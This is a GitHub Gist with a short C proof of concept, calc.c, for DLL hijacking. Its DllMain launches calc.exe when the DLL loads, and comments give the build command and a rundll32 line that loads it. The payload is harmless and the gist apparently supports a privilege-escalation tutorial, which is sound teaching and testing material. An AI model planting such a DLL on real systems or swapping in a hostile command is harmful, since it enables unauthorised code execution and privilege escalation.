Created
July 31, 2018 15:35
-
-
Save egre55/d98be6b5492717877c391dd39fccd9de to your computer and use it in GitHub Desktop.
calc.c (calc.dll) by Holly Graceful @HollyGraceful
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
cl.exe /LD calc.c | |
rundll32 shell32.dll,Control_RunDLL C:\Users\%username%\Desktop\calc.dll | |
calc.c by @HollyGraceful | |
https://www.gracefulsecurity.com/privesc-dll-hijacking/ | |
*/ | |
#include <windows.h> | |
int fireLazor() | |
{ | |
WinExec("calc.exe", 0); | |
return 0; | |
} | |
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) | |
{ | |
fireLazor(); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment